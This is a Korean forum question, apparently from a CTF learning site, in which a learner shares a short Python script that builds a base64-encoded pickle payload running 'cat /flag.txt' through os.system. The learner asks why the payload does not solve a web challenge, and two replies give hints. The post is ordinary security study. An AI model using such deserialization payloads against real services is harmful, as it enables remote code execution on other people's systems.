문제 접근방법 질문

pickle 취약점은 Unpickling을 할때 tuple을 반환해주시기 때문에 그 점을 이용해서 RCE를 할 수 있다고 검색을 통해서 공부 했습니다.
제가 문제에 접근 한 방법은 /flag.txt를 cat으로 읽기위해서 다음과 같은 코드를 작성했습니다.
import pickle
import os
import base64

class TestClass:
def reduce(self):
return os.system, ("cat /flag.txt", )

ClassA = TestClass()
ClassA_dump = base64.b64encode(pickle.dumps(ClassA))
print(ClassA_dump)
print(pickle.loads(base64.b64decode(ClassA_dump)))
위 코드로 나온 base64데이터를 Checkseesion에 넣으니 cat /flag.txt라는 결과가 나왔지만 문제가 풀리지 않았는데 접근 방법이 아에 잘못된건가요?
*추가로 로컬에서 /폴더에 flag.txt파일을 만들고 테스트 했을때는 읽혔습니다.

~

#web
작성자 정보
답변 2
avatar
juno2
답변 등록: 25

cat 말고 다른 리눅스 명령어 또는 파이썬 코드를 실행해 해결해보세요!

2021.07.30. 17:53
avatar
m0nd2y
시니어

해당 pickle 강의에 존재하는 주위의 자료들을 참고해보시면 힌트를 얻으실 수도 있을 것 같습니다~

2021.07.31. 17:33
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기